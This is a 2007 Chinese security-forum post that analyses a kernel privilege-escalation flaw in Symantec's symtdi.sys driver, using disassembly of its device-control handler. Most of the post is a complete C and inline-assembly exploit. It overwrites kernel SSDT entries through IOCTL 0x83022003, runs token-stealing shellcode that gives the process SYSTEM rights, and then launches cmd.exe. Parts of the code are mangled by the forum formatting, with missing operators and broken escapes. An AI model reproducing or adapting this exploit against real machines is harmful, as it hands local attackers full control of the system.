查看: 2198|回复: 0
收起左侧

Symantec核心驱动symtdi.sys提权漏洞

[复制链接]
yxwxqflbyg
发表于 2007-8-6 13:45:15 | 显示全部楼层 |阅读模式
最近通过反汇编分析发现了一个symantec的漏洞,这个漏洞是在symtdi.sys中存在的,由于驱动程序中处理IRP_MJ_DEVICE_CONTROL例程没有检查用户传入的缓冲区地址的合法性,造成任意内核地址可写的漏洞,用户可以发送恶意的DeviceIoControl的来完全的控制计算机。
  在 symtdi.sys 中,以下代码用来处理IRP_MJ_DEVICE_CONTROL请求
  loc_387C0: ; CODE XREF: sub_38736+6Cj
  .text:000387C0 cmp dword_4B258, 0
  .text:000387C7 jz short loc_387EF
  .text:000387C7
  .text:000387C9 call KeGetCurrentIrql
  .text:000387C9
  .text:000387CE and eax, 0FFh
  .text:000387D3 test eax, eax
  .text:000387D5 jnz short loc_387EF
  .text:000387D5
  .text:000387D7 call sub_37B5F
  .text:000387D7
  .text:000387DC test eax, eax
  .text:000387DE jz short loc_387EF
  .text:000387DE
  .text:000387E0 mov dword_4B258, 0
  .text:000387EA call sub_37B9A
  .text:000387EA
  .text:000387EF
  .text:000387EF loc_387EF: ; CODE XREF: sub_38736+91j
  .text:000387EF ; sub_38736+9Fj
  .text:000387EF ; sub_38736+A8j
  .text:000387EF mov ecx, [ebp+var_20]
  .text:000387F2 mov edx, [ecx+0Ch]
  .text:000387F5 mov [ebp+var_38], edx
  .text:000387F8 mov eax, [ebp+var_38]
  .text:000387FB shr eax, 10h
  .text:000387FE mov [ebp+var_44], eax
  .text:00038801 cmp [ebp+var_44], 8302h
  .text:00038808 jnz loc_3983C
  .text:00038808
  .text:0003880E cmp [ebp+var_38], 83022227h
  .text:00038815 jnb short loc_38854
  .text:00038815
  .text:00038817 cmp dword_4B0DC, 0
  .text:0003881E jnz short loc_38842
  .text:0003881E
  .text:00038820 call ds:KeEnterCriticalRegion
  .text:00038826 mov ecx, offset stru_4B060 ; FastMutex
  .text:0003882B call ds:ExAcquireFastMutexUnsafe
  .text:00038831 mov ecx, offset stru_4B060 ; FastMutex
  .text:00038836 call ds:ExReleaseFastMutexUnsafe
  .text:0003883C call ds:KeLeaveCriticalRegion
  .text:0003883C
  .text:00038842
  .text:00038842 loc_38842: ; CODE XREF: sub_38736+E8j
  .text:00038842 cmp dword_4B258, 0
  .text:00038849 jnz short loc_38854
  .text:00038849
  .text:0003884B mov ecx, [ebp+var_38]
  .text:0003884E push ecx
  .text:0003884F call sub_16E17
  .text:0003884F
  .text:00038854
  .text:00038854 loc_38854: ; CODE XREF: sub_38736+DFj
  .text:00038854 ; sub_38736+113j
  以下开始处理 ControlCode,他们基本都被定义为 METHOD_NEITHER 这种方式
  .text:00038854 mov edx, [ebp+var_38] ; edx = ControlCode
  .text:00038857 mov [ebp+var_F0], edx
  .text:0003885D cmp [ebp+var_F0], 830221E7h
  .text:00038867 ja loc_38985 ; 如果ConrolCode > 830221E7h 则跳转
  .text:00038867
  .text:0003886D cmp [ebp+var_F0], 830221E7h
  .text:00038877 jz loc_38F5E
  .text:00038877
  .text:0003887D cmp [ebp+var_F0], 830221BFh
  .text:00038887 ja loc_38952
  .text:00038887
  .text:0003888D cmp [ebp+var_F0], 830221BFh
  .text:00038897 jz loc_38C2C
  .text:00038897
  .text:0003889D cmp [ebp+var_F0], 830221A7h
  .text:000388A7 ja short loc_3891F
  .text:000388A7
  .text:000388A9 cmp [ebp+var_F0], 830221A7h
  .text:000388B3 jz loc_38BB0
  .text:000388B3
  .text:000388B9 cmp [ebp+var_F0], 8302219Ah
  .text:000388C3 ja short loc_388FA
  .text:000388C3
  .text:000388C5 cmp [ebp+var_F0], 8302219Ah
  .text:000388CF jz loc_38E15
  .text:000388CF
  .text:000388D5 cmp [ebp+var_F0], 83022003h
  .text:000388DF jz loc_38B49 ; 注意这里
  .text:000388DF
  .text:000388E5 cmp [ebp+var_F0], 83022196h
  .text:000388EF jz loc_38DD5
  .text:000388EF
  .text:000388F5 jmp loc_392EE
  其上的很多控制码都存在问题,当然最好利用的控制码就是 83022003h 了,我们来看看symtdi.sys 中如何处理 83022003h
  loc_38B49: ; CODE XREF: sub_38736+1A9j
  .text:00038B49 mov ecx, [ebp+Irp]
  .text:00038B4C mov edx, [ecx+3Ch] ; edx = irp->UserBuffer
  .text:00038B4F mov [ebp+var_24], edx
  .text:00038B52 mov eax, [ebp+var_20]
  .text:00038B55 mov ecx, [eax+4]
  .text:00038B58 mov [ebp+var_40], ecx
  .text:00038B5B mov edx, [ebp+var_40]
  .text:00038B5E push edx
  .text:00038B5F mov eax, [ebp+var_24]
  .text:00038B62 push eax
  .text:00038B63 call sub_3B7B0
  sub_3B7B0 proc near ; CODE XREF: sub_38736+42Dp
  .text:0003B7B0
  .text:0003B7B0 var_4 = dword ptr -4
  .text:0003B7B0 arg_0 = dword ptr 8
  .text:0003B7B0 arg_4 = dword ptr 0Ch
  .text:0003B7B0
  .text:0003B7B0 push ebp
  .text:0003B7B1 mov ebp, esp
  .text:0003B7B3 push ecx
  .text:0003B7B4 mov [ebp+var_4], 0
  .text:0003B7BB cmp [ebp+arg_0], 0
  .text:0003B7BF jz short loc_3B7EB
  .text:0003B7BF
  .text:0003B7C1 cmp [ebp+arg_4], 9
  .text:0003B7C5 jb short loc_3B7EB
  .text:0003B7C5
  .text:0003B7C7 mov eax, [ebp+arg_0]
  ; eax = irp->UserBuffer 以前没有对irp->UserBuffer进行任何检查
  .text:0003B7CA mov ecx, dword_45544
  .text:0003B7D0 mov [eax], ecx
  ; 以下是对UserBuffer进行写操作,一共写入了9字节,形成了任意内核地址可写的漏洞
  .text:0003B7D2 mov edx, dword_45548
  .text:0003B7D8 mov [eax+4], edx
  .text:0003B7DB mov cl, byte_4554C
  .text:0003B7E1 mov [eax+8], cl
  .text:0003B7E4 mov [ebp+var_4], 9
  .text:0003B7E4
  .text:0003B7EB
  .text:0003B7EB loc_3B7EB: ; CODE XREF: sub_3B7B0+Fj
  .text:0003B7EB ; sub_3B7B0+15j
  .text:0003B7EB mov eax, [ebp+var_4]
  .text:0003B7EE mov esp, ebp
  .text:0003B7F0 pop ebp
  .text:0003B7F1 retn 8
  .text:0003B7F1
  .text:0003B7F1 sub_3B7B0 endp
  看完代码,我们大家已经很清楚地知道了这个漏洞如何利用,我们可以去Hook一个SSDT上的函数,在我们进行调用被Hook的函数时,有机会让我们的ring0代码得到运行,Hook的函数我依旧选择 NtVdmControl,虽然这里覆盖了9字节的数据,但是由于NtVdmControl后面的一个函数也为一个不常用的api,所以我们的exploit可以保证%80以上的有效率,但是一定要在调用ring 0
代码的时候进行一些现场恢复,不然一定会死的比较难看的。
  在发现这个漏洞的兴奋之余,我上网搜索了一下 symtdi.sys,发现在今年3月份国外已经有人发
现了这个漏洞,不过报告为拒绝服务。
  
#include
  #include
  #pragma comment (lib, "ntdll.lib")
  typedef LONG NTSTATUS;
  #define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
  #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
  typedef struct _IMAGE_FIXUP_ENTRY {
   WORD offset:12;
   WORD type:4;
  } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
  typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
  } UNICODE_STRING, *PUNICODE_STRING;
  extern "C"
  NTSTATUS
  NTAPI
  NtAllocateVirtualMemory(
  IN HANDLE ProcessHandle,
  IN OUT PVOID *BaseAddress,
  IN ULONG ZeroBits,
  IN OUT PULONG AllocationSize,
  IN ULONG AllocationType,
  IN ULONG Protect
  );
  int main(int argc, char* argv[])
  {
  NTSTATUS status;
  HANDLE deviceHandle;
  DWORD dwReturnSize = 0;
  PVOID VdmControl = NULL;
  PVOID ShellCodeMemory = (PVOID)0x2E352E35;
  DWORD MemorySize = 0x2000;
  PROCESS_INFORMATION pi;
  STARTUPINFOA stStartup;
  OSVERSIONINFOEX OsVersionInfo;
  RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
  OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
  GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
  if ( OsVersionInfo.dwMajorVersion != 5 ) {
   printf( "Not NT5 system/n" );
   ExitProcess( 0 );
   return 0;
  }
  if ( OsVersionInfo.dwMinorVersion != 2 ) {
   printf( "isn't windows 2003 system/n" );
   ExitProcess( 0 );
   return 0;
  }
  printf( "Symantec Local Privilege Escalation Vulnerability Exploit (POC) /n/n" );
  printf( "Tested on: /n/twindows 2003 sp1 (ntkrnlpa.exe version) /n/n" );
  printf( "/tCoded by Polymorphours. [email=Polymorphours@whitecell.org/n/n]Polymorphours@whitecell.org/n/n[/email]" );
  status = NtAllocateVirtualMemory( (HANDLE)-1,
   &ShellCodeMemory,
   0,
   MemorySize,
   MEM_RESERVE MEM_COMMIT MEM_TOP_DOWN,
   PAGE_EXECUTE_READWRITE );
  if ( status != STATUS_SUCCESS ) {
   printf( "NtAllocateVirtualMemory failed, status: %08X/n", status );
   return 0;
  }
  memset( ShellCodeMemory, 0x90, MemorySize );
  __asm {
   call CopyShellCode
   nop
   nop
   nop
   nop
   nop
   nop
   //
   // 恢复SSDT保证系统能够正常运行
   //
  /*
   mov edi, 0x80827D54
   mov [edi], 0x808C998A
   mov [edi+4], 0x809ba123
   mov [edi+8], 0x80915CBE
  */ // ntoskrnl.exe
   mov edi, 0x8083100C
   // mov [edi], 0x808C998A
   mov [edi+4], 0x809970CC // ntkrnlpa.exe version
   mov [edi+8], 0x8092FF3E
mov eax,0xFFDFF124 // eax = ETHREAD (not 3G Mode)
   mov eax,[eax]
   mov esi,[eax+0x218]
   mov eax,esi
  search2k3sp1:
   mov eax,[eax+0x98]
   sub eax,0x98
   mov edx,[eax+0x94]
   cmp edx,0x4 // Find System Process
   jne search2k3sp1
   mov eax,[eax+0xd8] // 获取system进程的token
   mov [esi+0xd8],eax // 修改当前进程的token
  ret 8
  CopyShellCode:
   pop esi
   lea ecx, CopyShellCode
   sub ecx, esi
   mov edi,0x2E352E35
   cld
   rep movsb
  }
  deviceHandle = CreateFile("////.//Symtdi",
   0,
   FILE_SHARE_READ FILE_SHARE_WRITE,
   NULL,
   OPEN_EXISTING,
   0,
   NULL);
  if ( INVALID_HANDLE_VALUE == deviceHandle ) {
   printf( "Open Symtdi device failed, code: %d/n", GetLastError() );
   return 0;
  } else {
   printf( "Open Symtdi device success/n" );
  }
  DeviceIoControl( deviceHandle,
   0x83022003,
   NULL,
   0,
   (PVOID)0x8083100C, //ntkrnlpa.exe version // (PVOID)0x80827D54,
   0xC,
   &dwReturnSize,
   NULL );
  CloseHandle( deviceHandle );
  VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
  if ( VdmControl == NULL ) {
   printf( "VdmControl == NULL/n" );
   return 0;
  }
  printf( "call shellcode ... " );
  _asm {
   xor ecx,ecx
   push ecx
   push ecx
   mov eax, VdmControl
   call eax
  }
  printf( "Done./n" );
  printf( "Create New Process/n" );
  GetStartupInfo( &stStartup );
  CreateProcess( NULL,
   "cmd.exe",
   NULL,
   NULL,
   TRUE,
   NULL,
   NULL,
   NULL,
   &stStartup,
   &pi );
  return 0;
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-5-5 10:26 , Processed in 0.132378 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表